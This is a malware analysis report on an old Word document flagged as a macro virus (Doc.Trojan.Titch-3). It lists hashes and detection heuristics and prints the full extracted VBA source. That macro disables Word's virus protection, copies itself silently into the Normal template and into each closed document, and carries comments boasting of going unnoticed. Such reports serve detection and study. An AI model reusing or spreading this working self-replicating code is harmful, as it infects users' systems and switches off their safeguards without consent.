Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c05cdad49597268…

MALICIOUS

Office (OLE)

38.5 KB Created: 2000-08-22 22:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 35b868bb3d4742c125fa68687f3f9a69 SHA-1: 0f523bf8522ef54a3c65a03bd3a8bc2e43b12459 SHA-256: 5c05cdad49597268172515cad0aa64b31d02e50e4861cd103d7504d5f391688e
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing a VBA macro. The AutoClose macro is designed to copy itself to the Normal template and the active document, potentially for persistence. The ClamAV detection 'Doc.Trojan.Titch-3' further confirms its malicious nature. No network IOCs or second-stage payloads were directly observed.

Heuristics 4

  • ClamAV: Doc.Trojan.Titch-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Titch-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1617 bytes
SHA-256: 89961a3e427b67660ea55cda74b5aa7f67d474601facd0dc2e886db20088830a
Detection
ClamAV: Doc.Trojan.Titch-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Arbind2000"
Sub AutoClose()
'arbind2000
'An experiment in Macro programming ;)
'Minimum stealth, no encryption, No payload, No mail replication
'If you had looked you could have found and deleted it but..
'You probably never knew it was here!
  On Error Resume Next
  Application.Options.VirusProtection = False
  Application.Options.SaveNormalPrompt = False
  Application.Options.ConfirmConversions = False
  Dim x As Integer
  Dim found As Boolean
  found = False
  x = 1
  For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "arbind2000", wdOrganizerObjectProjectItems
  End If
  If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  found = False
  x = 1
  For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    NormalTemplate.VBProject.VBComponents("arbind2000").Export ("c:\arbind2000.tmp")
    ActiveDocument.VBProject.VBComponents.Import ("c:\arbind2000.tmp")
    Kill ("c:\arbind2000.tmp")
  End If
End Sub